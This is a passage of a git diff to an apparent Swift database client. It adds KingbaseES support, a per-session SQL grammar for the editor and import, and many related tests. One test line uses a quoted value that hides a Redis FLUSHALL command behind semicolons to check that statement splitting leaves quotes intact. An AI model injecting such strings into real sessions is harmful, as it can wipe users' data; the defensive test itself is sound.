["CURRENT_TIMESTAMP", "now()", "CURRENT_DATE", "true", "false"] case .cockroachdb: return ["current_timestamp()", "now()", "gen_random_uuid()", "unique_rowid()", "true", "false"] case .redshift: diff --git a/apple/TablePro/Models/Schema/ForeignKeyDialect.swift b/apple/TablePro/Models/Schema/ForeignKeyDialect.swift index fe1f2d3fce..ace0be0dad 100644 --- a/apple/TablePro/Models/Schema/ForeignKeyDialect.swift +++ b/apple/TablePro/Models/Schema/ForeignKeyDialect.swift @@ -51,7 +51,7 @@ struct ForeignKeyDialect: Equatable, Sendable { allowsQualifiedReferencedTable: true, allowsOmittedReferencedColumns: false ) - case .postgresql, .pglite, .cockroachdb, .redshift: + case .postgresql, .pglite, .cockroachdb, .redshift, .kingbasees: return ForeignKeyDialect( deleteActions: everyAction, updateActions: everyAction, diff --git a/apple/TablePro/Models/Schema/IndexKeyDialect.swift b/apple/TablePro/Models/Schema/IndexKeyDialect.swift index 26bd85e841..232fbda1ea 100644 --- a/apple/TablePro/Models/Schema/IndexKeyDialect.swift +++ b/apple/TablePro/Models/Schema/IndexKeyDialect.swift @@ -17,7 +17,7 @@ struct IndexKeyDialect: Equatable, Sendable { return IndexKeyDialect(takesPrefixLengths: true, takesExpressions: true) case .mariadb, .tidb, .oceanbase: return IndexKeyDialect(takesPrefixLengths: true, takesExpressions: false) - case .postgresql, .pglite, .sqlite, .libsql, .turso, .cloudflareD1, .duckdb: + case .postgresql, .pglite, .kingbasees, .sqlite, .libsql, .turso, .cloudflareD1, .duckdb: return IndexKeyDialect(takesPrefixLengths: false, takesExpressions: true) default: return .columnsOnly diff --git a/apple/TablePro/Resources/Localizable.xcstrings b/apple/TablePro/Resources/Localizable.xcstrings index c1bf65c8b4..7d36a9a257 100644 --- a/apple/TablePro/Resources/Localizable.xcstrings +++ b/apple/TablePro/Resources/Localizable.xcstrings @@ -1,10 +1,6 @@ { "sourceLanguage" : "en", "strings" : { - "This KingbaseES compatibility mode is not supported. Use PostgreSQL or Oracle mode." : { - "extractionState" : "manual", - "generatesSymbol" : false - }, "" : { "localizations" : { "ko" : { @@ -5785,6 +5781,12 @@ } } } + }, + "%@ runs in a compatibility mode with column types of its own, so structures can be compared but no script is generated." : { + + }, + "%@ runs in a compatibility mode with column types of its own. Copy to a target of the same type in the same mode." : { + }, "%@ s" : { "extractionState" : "stale", @@ -99181,6 +99183,10 @@ } } }, + "KingbaseES in %@ mode is not supported. Connect to a server in PostgreSQL or Oracle mode." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "kubectl port-forward" : { "localizations" : { "fr" : { @@ -134472,6 +134478,9 @@ } } } + }, + "PostgreSQL and Oracle compatible SQL" : { + }, "PostgreSQL custom archive" : { "localizations" : { @@ -135032,6 +135041,9 @@ } } } + }, + "Preferred tries TLS first, falls back to plain." : { + }, "Preferred tries TLS first, falls back to plain. Matches psql and DataGrip defaults. Required by AWS RDS, Cloud SQL, Heroku, Supabase, Neon." : { "localizations" : { diff --git a/apple/TablePro/ViewModels/AIChatViewModel+Persistence.swift b/apple/TablePro/ViewModels/AIChatViewModel+Persistence.swift index 92b6b47d6a..108e8c9e2e 100644 --- a/apple/TablePro/ViewModels/AIChatViewModel+Persistence.swift +++ b/apple/TablePro/ViewModels/AIChatViewModel+Persistence.swift @@ -20,7 +20,7 @@ extension AIChatViewModel { let wanted = pendingConversationToRestore Task.detached(priority: .utility) { [weak self] in let loaded = await storage.loadAll(connectionId: connectionId) - await MainActor.run { [weak self] in + await MainActor.run { guard let self else { return } self.conversations = loaded guard self.messages.isEmpty else { return } diff --git a/apple/TablePro/ViewModels/AIChatViewModel+SchemaContext.swift b/apple/TablePro/ViewModels/AIChatViewModel+SchemaContext.swift index 9c3f184a7e..64cb3d6702 100644 --- a/apple/TablePro/ViewModels/AIChatViewModel+SchemaContext.swift +++ b/apple/TablePro/ViewModels/AIChatViewModel+SchemaContext.swift @@ -248,7 +248,7 @@ extension AIChatViewModel { else { return [] } return AISchemaContext.referencedTables( in: AISchemaContext.carriedQuery(query), - grammar: connection.type.lexicalGrammar + grammar: SQLLexicalResolver.executionGrammar(for: connection.type, connectionId: connection.id) ) } diff --git a/apple/TablePro/Views/Editor/Folding/FoldProviderResolver.swift b/apple/TablePro/Views/Editor/Folding/FoldProviderResolver.swift index 20175e5be0..cf80d17f2f 100644 --- a/apple/TablePro/Views/Editor/Folding/FoldProviderResolver.swift +++ b/apple/TablePro/Views/Editor/Folding/FoldProviderResolver.swift @@ -18,10 +18,12 @@ import TableProSQLGrammar enum FoldProviderResolver { /// The provider for a connection, which knows both the language and the SQL dialect. static func provider(for databaseType: DatabaseType) -> LineFoldProvider? { - provider( - for: PluginManager.shared.editorLanguage(for: databaseType), - grammar: databaseType.lexicalGrammar - ) + provider(for: databaseType, grammar: databaseType.lexicalGrammar) + } + + /// The same, reading the grammar the connection's session lexes with. + static func provider(for databaseType: DatabaseType, grammar: SQLLexicalGrammar) -> LineFoldProvider? { + provider(for: PluginManager.shared.editorLanguage(for: databaseType), grammar: grammar) } /// The provider for a listing whose language is known but whose dialect is not, such as a fenced code block. diff --git a/apple/TablePro/Views/Editor/QueryCompletionAdapter.swift b/apple/TablePro/Views/Editor/QueryCompletionAdapter.swift index cc1e7add05..ac96f70436 100644 --- a/apple/TablePro/Views/Editor/QueryCompletionAdapter.swift +++ b/apple/TablePro/Views/Editor/QueryCompletionAdapter.swift @@ -3,6 +3,7 @@ import SwiftUI import TableProAutocomplete import TableProEditorKit import TableProPluginKit +import TableProSQLGrammar import TableProTextEngine @MainActor @@ -41,6 +42,7 @@ final class QueryCompletionAdapter: CodeSuggestionDelegate { let databaseType: DatabaseType? let profileRevision: String? let connectionId: UUID? + let grammar: SQLLexicalGrammar? } private var service: QueryCompletionService @@ -60,13 +62,15 @@ final class QueryCompletionAdapter: CodeSuggestionDelegate { schemaProvider: SQLSchemaProvider?, databaseType: DatabaseType?, profile: QueryCompletionProfile? = nil, - connectionId: UUID? = nil + connectionId: UUID? = nil, + grammar: SQLLexicalGrammar? = nil ) { let requested = Configuration( schemaProvider: schemaProvider.map(ObjectIdentifier.init), databaseType: databaseType, profileRevision: profile?.revision, - connectionId: connectionId + connectionId: connectionId, + grammar: grammar ) guard requested != configuration else { return } configuration = requested @@ -74,7 +78,8 @@ final class QueryCompletionAdapter: CodeSuggestionDelegate { schemaProvider: schemaProvider, databaseType: databaseType, profile: profile, - connectionId: connectionId + connectionId: connectionId, + grammar: grammar ) service.updateFavoriteKeywords(favoriteKeywords) session = nil diff --git a/apple/TablePro/Views/Editor/QueryDiagnosticsController.swift b/apple/TablePro/Views/Editor/QueryDiagnosticsController.swift index a8bc35f755..094e3d4ce7 100644 --- a/apple/TablePro/Views/Editor/QueryDiagnosticsController.swift +++ b/apple/TablePro/Views/Editor/QueryDiagnosticsController.swift @@ -9,6 +9,7 @@ import AppKit import os import TableProEditorKit +import TableProSQLGrammar import TableProTextEngine @MainActor @@ -32,8 +33,8 @@ final class QueryDiagnosticsController { self.clock = clock } - func configure(databaseType: DatabaseType?) { - producer = QueryDiagnosticsFactory.make(for: databaseType) + func configure(databaseType: DatabaseType?, grammar: SQLLexicalGrammar? = nil) { + producer = QueryDiagnosticsFactory.make(for: databaseType, grammar: grammar) diagnostics = [] } diff --git a/apple/TablePro/Views/Editor/SQLEditorController.swift b/apple/TablePro/Views/Editor/SQLEditorController.swift index 5afcebd0d1..6ddc24d142 100644 --- a/apple/TablePro/Views/Editor/SQLEditorController.swift +++ b/apple/TablePro/Views/Editor/SQLEditorController.swift @@ -9,6 +9,7 @@ import SwiftUI import TableProEditorKit import TableProGrammars import TableProPluginKit +import TableProSQLGrammar import TableProTextEngine /// What a query tab hands the SQL editor on every update. @@ -60,6 +61,11 @@ final class SQLEditorController { private var pendingCaret: [CursorPosition]? private var cancellables: Set = [] private var isTornDown = false + // One instance, because `SourceEditor` keeps the provider it was created with and a new grammar has to reach it. + private lazy var foldProvider: LineFoldProvider? = FoldProviderResolver.provider( + for: input.databaseType ?? .mysql, + grammar: coordinator.lexicalGrammar + ) var textViewController: TextViewController { guard let host else { preconditionFailure("SQLEditorController used before init finished") } @@ -81,6 +87,7 @@ final class SQLEditorController { observeEditorSettings() observeVimMode() + observeSessionChanges() configureCompletion() setupFavoritesObserver() subscribeToCompletionRevision() @@ -154,6 +161,31 @@ final class SQLEditorController { if let restoredFoldRanges = input.restoredFoldRanges { coordinator.scheduleFoldRestore(restoredFoldRanges) } + // Also on every run's start and end, which is when a `SET` can have changed a session flag. + refreshSessionGrammar() + } + + /// The grammar the session lexes with: KingbaseES in Oracle mode, MySQL under `NO_BACKSLASH_ESCAPES`, or + /// PostgreSQL with `standard_conforming_strings` off each split text differently from the engine's default. + private func refreshSessionGrammar() { + guard let databaseType = input.databaseType else { return } + let grammar = input.connectionId.map { + SQLLexicalResolver.executionGrammar(for: databaseType, connectionId: $0) + } ?? databaseType.lexicalGrammar + guard grammar != coordinator.sessionGrammar else { return } + coordinator.setSessionGrammar(grammar) + (foldProvider as? SQLLineFoldProvider)?.grammar = grammar + configureCompletion() + } + + private func observeSessionChanges() { + AppEvents.shared.connectionStatusChanged + .receive(on: RunLoop.main) + .sink { [weak self] change in + guard let self, !self.isTornDown, change.connectionId == self.input.connectionId else { return } + self.refreshSessionGrammar() + } + .store(in: &cancellables) } private func makeEditor(state: Binding) -> SourceEditor { @@ -170,7 +202,7 @@ final class SQLEditorController { language: PluginManager.shared.editorLanguage(for: databaseType).treeSitterLanguage, configuration: configuration, state: state, - foldProvider: FoldProviderResolver.provider(for: databaseType), + foldProvider: foldProvider, coordinators: [coordinator], completionDelegate: completionAdapter ) @@ -267,7 +299,8 @@ final class SQLEditorController { schemaProvider: input.schemaProvider, databaseType: input.databaseType, profile: completionProfile, - connectionId: input.connectionId + connectionId: input.connectionId, + grammar: coordinator.sessionGrammar ) } diff --git a/apple/TablePro/Views/Editor/SQLEditorCoordinator+InvisibleCharacters.swift b/apple/TablePro/Views/Editor/SQLEditorCoordinator+InvisibleCharacters.swift index 52d59a7a87..64b6516e21 100644 --- a/apple/TablePro/Views/Editor/SQLEditorCoordinator+InvisibleCharacters.swift +++ b/apple/TablePro/Views/Editor/SQLEditorCoordinator+InvisibleCharacters.swift @@ -13,12 +13,11 @@ extension SQLEditorCoordinator { guard let controller, let textView = controller.textView, textView.isEditable else { return } let string = textView.string let scope = FormatScopeResolver.resolve(fullText: string, selectedRange: textView.selectedRange()) - let resolvedType = databaseType ?? .mysql let replacements = InvisibleCharacterRemover.replacements( in: string as NSString, scope: scope.range, skippingLiteralsAndComments: !scope.isSelection, - grammar: resolvedType.lexicalGrammar, + grammar: lexicalGrammar, lineEnding: textView.layoutManager.detectedLineEnding.rawValue ) guard !replacements.isEmpty else { return } diff --git a/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift b/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift index 6a5697d164..b5af901d9c 100644 --- a/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift +++ b/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift @@ -123,6 +123,12 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie var tabID: UUID? var connectionId: UUID? var sourceFileURL: URL? + /// The connection's execution grammar, which `SQLEditorController` sets from the live session. + private(set) var sessionGrammar: SQLLexicalGrammar? + + var lexicalGrammar: SQLLexicalGrammar { + sessionGrammar ?? (databaseType ?? .mysql).lexicalGrammar + } /// Whether the editor text view is currently the first responder. /// Used to guard cursor propagation — when the find panel highlights @@ -183,7 +189,7 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie installFoldPreview(controller: controller) installStatementRunControls(controller: controller) installInlineSuggestionManager(controller: controller) - diagnosticsController.configure(databaseType: databaseType) + diagnosticsController.configure(databaseType: databaseType, grammar: lexicalGrammar) diagnosticsController.install(on: controller) diagnosticsController.scheduleRefresh(for: controller) applyKeyBindings(controller: controller) @@ -351,7 +357,7 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie } private func installStatementRunControls(controller: TextViewController) { - statementRunController.grammar = (databaseType ?? .mysql).lexicalGrammar + statementRunController.grammar = lexicalGrammar statementRunController.statementModel = QueryStatementModel.forDatabaseType(databaseType ?? .mysql) statementRunController.isHighlightEnabled = AppSettingsManager.shared.editor.highlightCurrentStatement statementRunController.onRun = { [weak self] sql, offset in @@ -360,6 +366,21 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie statementRunController.install(on: controller) } + /// Moves the run controls and diagnostics to `grammar`, as a connect, a reconnect or a `SET` changes it. + func setSessionGrammar(_ grammar: SQLLexicalGrammar) { + guard grammar != sessionGrammar else { return } + sessionGrammar = grammar + guard hasInstalledEditorServices, !isDestroyed, let controller else { return } + statementRunController.grammar = grammar + statementRunController.refreshControls(in: controller) + statementRunController.refreshHighlight(in: controller) + diagnosticsController.configure(databaseType: databaseType, grammar: grammar) + refreshDiagnostics( + in: controller, + isLargeDocument: controller.textView.textStorage.length > Self.languageServiceLengthLimit + ) + } + /// Turns the run controls off for the length of a query, because a tab runs one at a time. func setStatementRunControlsEnabled(_ isEnabled: Bool) { statementRunController.setEnabled(isEnabled, in: controller) diff --git a/apple/TablePro/Views/Import/ImportDialog.swift b/apple/TablePro/Views/Import/ImportDialog.swift index dc8ad9a6af..7763ff9013 100644 --- a/apple/TablePro/Views/Import/ImportDialog.swift +++ b/apple/TablePro/Views/Import/ImportDialog.swift @@ -443,7 +443,7 @@ struct ImportDialog: View { forPreview: previewData, isWholeFile: previewData.count < maxPreviewSize, family: TransactionEngineFamily.of(connection.type), - grammar: connection.type.lexicalGrammar + grammar: sessionGrammar ) { Self.logger.info("Preview did not decode as \(selectedEncoding.rawValue, privacy: .public); switching to the detected \(detected.rawValue, privacy: .public)") detectedEncoding = detected @@ -464,6 +464,12 @@ struct ImportDialog: View { } } + /// What the import itself splits with, so the count and the detected encoding match the run. + @MainActor + private var sessionGrammar: SQLLexicalGrammar { + SQLLexicalResolver.executionGrammar(for: connection.type, connectionId: connection.id) + } + @MainActor private func countStatements(url: URL) async { isCountingStatements = true @@ -471,7 +477,7 @@ struct ImportDialog: View { do { let encoding = selectedEncoding.encoding - let grammar = connection.type.lexicalGrammar + let grammar = sessionGrammar let parser = SQLFileParser() let count = try await Task.detached { try await parser.countStatements(url: url, encoding: encoding, grammar: grammar) diff --git a/apple/TablePro/Views/Results/TreeOutline/TreeOutlineView.swift b/apple/TablePro/Views/Results/TreeOutline/TreeOutlineView.swift index bff6993a6a..8cfa367965 100644 --- a/apple/TablePro/Views/Results/TreeOutline/TreeOutlineView.swift +++ b/apple/TablePro/Views/Results/TreeOutline/TreeOutlineView.swift @@ -43,10 +43,8 @@ internal final class TreeOutlineView: SidebarOutlineView { override internal func viewDidMoveToWindow() { super.viewDidMoveToWindow() responderObservation = window?.observe(\.firstResponder, options: [.new]) { [weak self] _, _ in - MainActor.assumeIsolated { [weak self] in - self?.reapplyRowEmphasis() - Task { @MainActor [weak self] in self?.reapplyRowEmphasis() } - } + MainActor.assumeIsolated { self?.reapplyRowEmphasis() } + Task { @MainActor [weak self] in self?.reapplyRowEmphasis() } } } diff --git a/apple/TableProMobile/TableProMobile/Services/IOSConnectionImportService.swift b/apple/TableProMobile/TableProMobile/Services/IOSConnectionImportService.swift index d89527b5ae..1ee644392c 100644 --- a/apple/TableProMobile/TableProMobile/Services/IOSConnectionImportService.swift +++ b/apple/TableProMobile/TableProMobile/Services/IOSConnectionImportService.swift @@ -9,7 +9,7 @@ enum IOSConnectionImportService { // Mac plugin type ids with no DatabaseType constant. static let recognizedTypeIds: Set = Set( (DatabaseType.allKnownTypes + [.cockroachdb, .scylladb, .turso]).map(\.rawValue) - ).union(["SAP HANA", "Elasticsearch", "Typesense", "PGlite", "Presto"]) + ).union(["SAP HANA", "Elasticsearch", "Typesense", "PGlite", "Presto", "KingbaseES"]) static func environment(for appState: AppState) -> ImportEnvironment { ImportEnvironment( diff --git a/apple/TableProMobile/TableProMobileTests/MacOnlyImportRowTests.swift b/apple/TableProMobile/TableProMobileTests/MacOnlyImportRowTests.swift index eb1fe3b32b..8e50943f94 100644 --- a/apple/TableProMobile/TableProMobileTests/MacOnlyImportRowTests.swift +++ b/apple/TableProMobile/TableProMobileTests/MacOnlyImportRowTests.swift @@ -39,7 +39,9 @@ struct MacOnlyImportRowTests { ImportSelection.defaults(for: preview).resolution(for: row.ref) != nil } - @Test("A Mac plugin type is recognized, preselected and marked Mac only", arguments: ["Elasticsearch", "SAP HANA", "Typesense", "PGlite", "Presto"]) + @Test("A Mac plugin type is recognized, preselected and marked Mac only", arguments: [ + "Elasticsearch", "SAP HANA", "Typesense", "PGlite", "Presto", "KingbaseES", + ]) func macPluginTypeIsMarked(_ typeId: String) throws { let preview = try analyzed(type: typeId) let row = try #require(preview.connections.first) diff --git a/apple/TableProTests/Core/Compare/CompareSyncEngineFamilyTests.swift b/apple/TableProTests/Core/Compare/CompareSyncEngineFamilyTests.swift new file mode 100644 index 0000000000..843c1103d7 --- /dev/null +++ b/apple/TableProTests/Core/Compare/CompareSyncEngineFamilyTests.swift @@ -0,0 +1,42 @@ +import Foundation +@testable import TablePro +import TableProPluginKit +import Testing + +struct CompareSyncEngineFamilyTests { + private static let oracleMode = PluginSessionLexicalState(determined: [.plsqlBlocks], enabled: [.plsqlBlocks]) + private static let pgMode = PluginSessionLexicalState(determined: [.plsqlBlocks], enabled: []) + + @Test + func kingbaseESSyncsStructureWithPostgreSQLInPostgreSQLMode() { + #expect(CompareSyncEngineFamily.canGenerateStructureScript( + from: .postgresql, to: .kingbasees, sourceSession: nil, targetSession: Self.pgMode + )) + #expect(CompareSyncEngineFamily.canGenerateStructureScript( + from: .kingbasees, to: .postgresql, sourceSession: Self.pgMode, targetSession: nil + )) + } + + @Test + func anOracleModeServerSyncsStructureOnlyWithAnotherOne() { + #expect(!CompareSyncEngineFamily.canGenerateStructureScript( + from: .postgresql, to: .kingbasees, sourceSession: nil, targetSession: Self.oracleMode + )) + #expect(!CompareSyncEngineFamily.canGenerateStructureScript( + from: .kingbasees, to: .kingbasees, sourceSession: Self.pgMode, targetSession: Self.oracleMode + )) + #expect(CompareSyncEngineFamily.canGenerateStructureScript( + from: .kingbasees, to: .kingbasees, sourceSession: Self.oracleMode, targetSession: Self.oracleMode + )) + let refusal = CompareSyncEngineFamily.structureScriptRefusal( + from: .postgresql, to: .kingbasees, sourceSession: nil, targetSession: Self.oracleMode + ) + #expect(refusal.contains("compatibility mode")) + } + + @Test + func postgreSQLStaysUnpairedWithItsOtherVariants() { + #expect(!CompareSyncEngineFamily.canGenerateStructureScript(from: .postgresql, to: .cockroachdb)) + #expect(!CompareSyncEngineFamily.canGenerateStructureScript(from: .postgresql, to: .pglite)) + } +} diff --git a/apple/TableProTests/Core/CrossEngine/CrossEngineIndexTypeTests.swift b/apple/TableProTests/Core/CrossEngine/CrossEngineIndexTypeTests.swift index 8a04459f24..cd3ae7a589 100644 --- a/apple/TableProTests/Core/CrossEngine/CrossEngineIndexTypeTests.swift +++ b/apple/TableProTests/Core/CrossEngine/CrossEngineIndexTypeTests.swift @@ -79,6 +79,13 @@ struct CrossEngineIndexTypeTests { #expect(index.ddlMethodAndKeys == "USING hnsw (a vector_l2_ops)") } + @Test("KingbaseES reports its access method from pg_am, so a PostgreSQL copy keeps it") + func kingbaseAccessMethodSurvives() { + let bloom = Self.index("items_bloom", type: "bloom").type + #expect(CrossEngineIndexTranslator.resolvedType(bloom, from: .kingbasees, to: .postgresql) == bloom) + #expect(CrossEngineIndexTranslator.resolvedType(bloom, from: .mssql, to: .postgresql) == .btree) + } + @Test("A Redshift DISTKEY and SORTKEY are left out of a PostgreSQL copy, though the two share a family") func redshiftKeysAreLeftOut() { let result = CrossEngineStructureTranslator.translate( diff --git a/apple/TableProTests/Core/DataWrite/DataWriteExecutorTests.swift b/apple/TableProTests/Core/DataWrite/DataWriteExecutorTests.swift index c5cda01873..52592591f0 100644 --- a/apple/TableProTests/Core/DataWrite/DataWriteExecutorTests.swift +++ b/apple/TableProTests/Core/DataWrite/DataWriteExecutorTests.swift @@ -181,6 +181,18 @@ struct DataWriteExecutorTests { #expect(counting.didRollBack) } + @Test("A KingbaseES keyless write that found no row is rolled back, as libpq reports a real count") + func kingbaseKeylessWriteThatMatchedNothingFails() async throws { + let counting = CountingDriver(affectedRows: 0) + await #expect(throws: DataWriteError.rowsNoLongerMatch(table: "t", expected: 1, actual: 0)) { + try await DataWriteExecutor.run( + plan(expectedRowCount: 1, matchesRowsWithoutKey: true, databaseType: .kingbasees), + on: driver(counting) + ) + } + #expect(counting.didRollBack) + } + @Test("An engine whose driver reports no real count is not held to one") func keylessWriteOnAnEngineWithoutCountsSucceeds() async throws { let counting = CountingDriver(affectedRows: 0) diff --git a/apple/TableProTests/Core/DataWrite/RowChangeStatementFactoryServerOwnedTests.swift b/apple/TableProTests/Core/DataWrite/RowChangeStatementFactoryServerOwnedTests.swift index 6a93d5068f..7f37204287 100644 --- a/apple/TableProTests/Core/DataWrite/RowChangeStatementFactoryServerOwnedTests.swift +++ b/apple/TableProTests/Core/DataWrite/RowChangeStatementFactoryServerOwnedTests.swift @@ -203,9 +203,9 @@ struct RowChangeStatementFactoryServerOwnedTests { #expect(!sql.contains("Doubled")) } - @Test - func aPostgreSQLRestoreOverridesTheSystemValue() throws { - let restored = try factory(databaseType: .postgresql, schemaName: "sales").restoreStatements( + @Test(arguments: [DatabaseType.postgresql, .pglite, .kingbasees]) + func aPostgreSQLRestoreOverridesTheSystemValue(databaseType: DatabaseType) throws { + let restored = try factory(databaseType: databaseType, schemaName: "sales").restoreStatements( rows: [["5", "a", "10"]] ) #expect(restored.prologue.isEmpty) diff --git a/apple/TableProTests/Core/Database/DatabaseAccessBridgeStatementTests.swift b/apple/TableProTests/Core/Database/DatabaseAccessBridgeStatementTests.swift index 34d93a9709..2f7b8a90dd 100644 --- a/apple/TableProTests/Core/Database/DatabaseAccessBridgeStatementTests.swift +++ b/apple/TableProTests/Core/Database/DatabaseAccessBridgeStatementTests.swift @@ -47,6 +47,29 @@ struct DatabaseAccessBridgeStatementTests { #expect(QueryClassifier.classifyTier(sent, databaseType: .postgresql) == .safe) } + @Test( + "An external statement on a KingbaseES Oracle-mode session keeps the ; after its END", + arguments: ["BEGIN x := 1; y := 2; END;", "BEGIN x := 1; y := 2; END;\n/\n"] + ) + @MainActor + func oracleModeBlockKeepsItsTerminator(sql: String) async throws { + let driver = ScriptAnsweringDriver( + connection: TestFixtures.makeConnection(database: "app", type: .kingbasees), + sessionLexicalState: TestGrammar.kingbaseESOracleSession + ) + var session = ConnectionSession(connection: driver.connection) + session.driver = driver + DatabaseManager.shared.injectSession(session, for: driver.connection.id) + defer { DatabaseManager.shared.removeSession(for: driver.connection.id) } + let scope = DatabaseScope(connectionId: driver.connection.id, database: "app", schema: nil) + + _ = try await DatabaseAccessBridge().runStatement( + scope: scope, query: sql, maxRows: 10, timeoutSeconds: 30, cancellation: nil + ) + + #expect(driver.sentStatements == ["BEGIN x := 1; y := 2; END;"]) + } + @Test("An explain behind an invisible character is not wrapped in a second explain") func explainBehindInvisibleCharacterIsNotWrapped() throws { let statement = try MCPConnectionBridge.explainStatement( diff --git a/apple/TableProTests/Core/Database/FilterSQLGeneratorColumnTypeTests.swift b/apple/TableProTests/Core/Database/FilterSQLGeneratorColumnTypeTests.swift index 10a2ebd9d0..4265622d87 100644 --- a/apple/TableProTests/Core/Database/FilterSQLGeneratorColumnTypeTests.swift +++ b/apple/TableProTests/Core/Database/FilterSQLGeneratorColumnTypeTests.swift @@ -442,6 +442,40 @@ struct FilterSQLGeneratorColumnTypeTests { #expect(postgres?.contains("'%a[bc]%'") == true) } + // '' is NULL on Oracle and on KingbaseES in Oracle mode, so `v != ''` found no row there. Measured on Oracle 23ai, + // KingbaseES V9R1C10 in both modes and PostgreSQL 18: the length form returns what `= ''` returns on PostgreSQL. + @Test( + "Is empty and is not empty test the length where '' can read as NULL", + arguments: [DatabaseType.kingbasees, .oracle] + ) + func emptyFiltersTestTheLength(databaseType: DatabaseType) { + let text = ColumnType.text(rawType: "text") + let empty = Self.engineCondition(databaseType, type: text, op: .isEmpty, value: "", dialect: Self.postgresqlDialect) + let notEmpty = Self.engineCondition( + databaseType, type: text, op: .isNotEmpty, value: "", dialect: Self.postgresqlDialect + ) + #expect(empty == "(\"v\" IS NULL OR LENGTH(\"v\") = 0)") + #expect(notEmpty == "(\"v\" IS NOT NULL AND LENGTH(\"v\") > 0)") + } + + @Test("The length form measures the text cast of a column of unknown type, and PostgreSQL and MySQL keep = ''") + func emptyFiltersElsewhere() { + let cast = Self.engineCondition(.kingbasees, type: nil, op: .isNotEmpty, value: "", dialect: Self.castingPostgres) + let mysql = Self.engineCondition( + .mysql, type: .text(rawType: "VARCHAR"), op: .isNotEmpty, value: "", dialect: Self.mysqlDialect + ) + let integer = Self.engineCondition( + .kingbasees, type: .integer(rawType: "integer"), op: .isNotEmpty, value: "", dialect: Self.postgresqlDialect + ) + let postgreSQL = Self.engineCondition( + .postgresql, type: .text(rawType: "text"), op: .isNotEmpty, value: "", dialect: Self.postgresqlDialect + ) + #expect(cast == "(\"v\" IS NOT NULL AND LENGTH(CAST(\"v\" AS TEXT)) > 0)") + #expect(mysql == "(`v` IS NOT NULL AND `v` != '')") + #expect(postgreSQL == "(\"v\" IS NOT NULL AND \"v\" != '')") + #expect(integer == "\"v\" IS NOT NULL") + } + @Test("A PostgreSQL bit read as a string of digits compares quoted") func postgresBitIsQuoted() { let type = ColumnTypeClassifier(family: .postgres).classify(rawTypeName: "bit") diff --git a/apple/TableProTests/Core/Database/StartupStatementsTests.swift b/apple/TableProTests/Core/Database/StartupStatementsTests.swift index 503c3a3f1c..5f26c1f07c 100644 --- a/apple/TableProTests/Core/Database/StartupStatementsTests.swift +++ b/apple/TableProTests/Core/Database/StartupStatementsTests.swift @@ -38,6 +38,14 @@ struct StartupStatementsTests { #expect(statements == ["SET marker \"a; FLUSHALL; b\"", "CLIENT SETNAME 'line\nbreak'"]) } + @Test("A startup block on a KingbaseES Oracle-mode session runs whole") + func oracleModeBlockRunsWhole() { + let block = "BEGIN dbms_session.set_identifier('x'); END;" + #expect(DatabaseManager.startupStatements( + from: block, databaseType: .kingbasees, grammar: TestGrammar.kingbaseESOracle + ) == [block]) + } + @Test("Blank text holds no startup statement") func blank() { #expect(DatabaseManager.startupStatements(from: " \n ; ", databaseType: .postgresql).isEmpty) diff --git a/apple/TableProTests/Core/ObjectCopy/ObjectCopyEligibilityTests.swift b/apple/TableProTests/Core/ObjectCopy/ObjectCopyEligibilityTests.swift index 377c2c42be..c96879b303 100644 --- a/apple/TableProTests/Core/ObjectCopy/ObjectCopyEligibilityTests.swift +++ b/apple/TableProTests/Core/ObjectCopy/ObjectCopyEligibilityTests.swift @@ -90,6 +90,41 @@ struct ObjectCopyEligibilityTests { #expect(ObjectCopyEligibility.definitionEngineRefusal(from: .postgresql, to: .postgresql) == nil) } + private static let oracleModeSession = PluginSessionLexicalState( + determined: [.plsqlBlocks, .alternativeQuoting], enabled: [.plsqlBlocks, .alternativeQuoting] + ) + private static let pgModeSession = PluginSessionLexicalState(determined: [.plsqlBlocks], enabled: []) + + @Test + func kingbaseESCopiesWithPostgreSQLOnlyInPostgreSQLMode() { + #expect(ObjectCopyEligibility.engineRefusal( + from: .postgresql, to: .kingbasees, sourceLanguage: .sql, targetLanguage: .sql, + sourceSession: nil, targetSession: Self.pgModeSession + ) == nil) + #expect(ObjectCopyEligibility.definitionEngineRefusal( + from: .kingbasees, to: .postgresql, sourceSession: Self.pgModeSession, targetSession: nil + ) == nil) + #expect(ObjectCopyEligibility.engineRefusal( + from: .postgresql, to: .kingbasees, sourceLanguage: .sql, targetLanguage: .sql, + sourceSession: nil, targetSession: Self.oracleModeSession + ) != nil) + #expect(ObjectCopyEligibility.definitionEngineRefusal( + from: .kingbasees, to: .postgresql, sourceSession: Self.oracleModeSession, targetSession: nil + ) != nil) + } + + @Test + func kingbaseESCopiesBetweenServersOfTheSameModeOnly() { + #expect(ObjectCopyEligibility.engineRefusal( + from: .kingbasees, to: .kingbasees, sourceLanguage: .sql, targetLanguage: .sql, + sourceSession: Self.oracleModeSession, targetSession: Self.oracleModeSession + ) == nil) + #expect(ObjectCopyEligibility.engineRefusal( + from: .kingbasees, to: .kingbasees, sourceLanguage: .sql, targetLanguage: .sql, + sourceSession: Self.oracleModeSession, targetSession: Self.pgModeSession + ) != nil) + } + /// Copying a database onto itself either drops the rows it is about to read or doubles them. @Test func theSameScopeIsRefusedAsATarget() { diff --git a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift index ed59495781..88182458fc 100644 --- a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift +++ b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift @@ -12,14 +12,18 @@ struct PluginMetadataRegistryKingbaseESTests { #expect(registry.pluginTypeId(for: "KingbaseES") == "KingbaseES") #expect(DatabaseType.kingbasees.isDownloadablePlugin) let snapshot = try #require(registry.snapshot(forRegisteredTypeId: "KingbaseES")) + let postgreSQL = try #require(registry.snapshot(forRegisteredTypeId: "PostgreSQL")) #expect(snapshot.displayName == "KingbaseES") + #expect(snapshot.iconName == "cylinder") + #expect(snapshot.connection.tagline != postgreSQL.connection.tagline) #expect(snapshot.defaultPort == 54_321) #expect(snapshot.urlSchemes == ["kingbase", "kingbase8"]) #expect(snapshot.parameterStyle == .dollar) 